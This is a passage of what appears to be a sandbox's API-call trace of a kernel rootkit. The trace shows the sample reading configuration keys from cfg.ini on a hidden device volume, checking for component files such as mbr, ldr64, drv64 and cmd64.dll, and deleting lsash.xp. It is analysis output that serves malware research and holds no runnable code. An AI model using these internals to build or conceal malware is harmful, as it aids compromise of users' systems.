FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.703] KeLeaveCriticalRegion () [0130.703] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.703] KeEnterCriticalRegion () [0130.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.703] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.703] IdePortDispatch () returned 0x103 [0130.703] KeWaitForMutexObject () returned 0x0 [0130.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.703] KeLeaveCriticalRegion () [0130.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.703] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.704] KeEnterCriticalRegion () [0130.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0130.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.704] IdePortDispatch () returned 0x103 [0130.704] KeWaitForMutexObject () returned 0x0 [0130.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.704] IdePortDispatch () returned 0x103 [0130.705] KeWaitForMutexObject () returned 0x0 [0130.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.705] KeLeaveCriticalRegion () [0130.705] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.705] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.705] KeEnterCriticalRegion () [0130.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.705] KeLeaveCriticalRegion () [0130.705] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.705] KeEnterCriticalRegion () [0130.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.705] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.705] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.705] KeLeaveCriticalRegion () [0130.705] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.705] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.706] KeEnterCriticalRegion () [0130.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.706] ExFreePoolWithTag (P=0xfffffa800294ec60, Tag=0x0) [0130.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.706] KeLeaveCriticalRegion () [0130.706] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.706] ReleaseMutex (hMutex=0xf0) returned 1 [0130.706] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.706] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.706] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.706] KeEnterCriticalRegion () [0130.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.706] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.706] IdePortDispatch () returned 0x103 [0130.706] KeWaitForMutexObject () returned 0x0 [0130.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.706] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.706] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.706] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.706] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.706] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.706] KeLeaveCriticalRegion () [0130.706] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.707] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.707] KeEnterCriticalRegion () [0130.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.707] KeLeaveCriticalRegion () [0130.707] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.707] KeEnterCriticalRegion () [0130.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.707] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.707] IdePortDispatch () returned 0x103 [0130.707] KeWaitForMutexObject () returned 0x0 [0130.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.707] KeLeaveCriticalRegion () [0130.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.707] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.707] KeEnterCriticalRegion () [0130.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0130.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.708] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.708] IdePortDispatch () returned 0x103 [0130.708] KeWaitForMutexObject () returned 0x0 [0130.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.708] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.708] IdePortDispatch () returned 0x103 [0130.708] KeWaitForMutexObject () returned 0x0 [0130.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.708] KeLeaveCriticalRegion () [0130.708] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.709] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.709] KeEnterCriticalRegion () [0130.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.709] KeLeaveCriticalRegion () [0130.709] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.709] KeEnterCriticalRegion () [0130.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.709] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.709] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.709] KeLeaveCriticalRegion () [0130.709] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.709] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.709] KeEnterCriticalRegion () [0130.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.709] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.709] KeLeaveCriticalRegion () [0130.709] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.709] ReleaseMutex (hMutex=0xf0) returned 1 [0130.709] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.709] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.710] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.710] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.710] KeEnterCriticalRegion () [0130.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.710] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.710] IdePortDispatch () returned 0x103 [0130.710] KeWaitForMutexObject () returned 0x0 [0130.710] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.710] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.710] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.710] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.710] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.710] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.710] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.710] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.710] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.710] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.710] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.710] KeLeaveCriticalRegion () [0130.710] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.710] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.711] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.711] KeEnterCriticalRegion () [0130.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.711] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.711] IdePortDispatch () returned 0x103 [0130.711] KeWaitForMutexObject () returned 0x0 [0130.711] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.711] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.711] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.711] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.711] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.711] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.711] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.711] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.711] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.711] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.711] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.711] KeLeaveCriticalRegion () [0130.711] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.711] ReleaseMutex (hMutex=0x100) returned 1 [0130.711] Sleep (dwMilliseconds=0x2bf20) [0130.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x71082df0, dwHighDateTime=0x1d24fa4)) [0130.720] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.720] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.720] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.721] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.721] KeEnterCriticalRegion () [0130.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.721] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.721] IdePortDispatch () returned 0x103 [0130.721] KeWaitForMutexObject () returned 0x0 [0130.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.721] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.721] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.721] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.721] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.721] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294eec0 [0130.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.721] KeLeaveCriticalRegion () [0130.721] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.721] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.721] KeEnterCriticalRegion () [0130.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.721] KeLeaveCriticalRegion () [0130.721] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.721] KeEnterCriticalRegion () [0130.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.722] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.722] IdePortDispatch () returned 0x103 [0130.722] KeWaitForMutexObject () returned 0x0 [0130.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.722] KeLeaveCriticalRegion () [0130.722] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.722] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.722] KeEnterCriticalRegion () [0130.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034aa000 [0130.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.722] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.722] IdePortDispatch () returned 0x103 [0130.722] KeWaitForMutexObject () returned 0x0 [0130.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.723] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.723] IdePortDispatch () returned 0x103 [0130.723] KeWaitForMutexObject () returned 0x0 [0130.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.723] KeLeaveCriticalRegion () [0130.723] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.724] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.724] KeEnterCriticalRegion () [0130.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] KeLeaveCriticalRegion () [0130.724] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.724] KeEnterCriticalRegion () [0130.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.724] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.724] KeLeaveCriticalRegion () [0130.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.724] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, 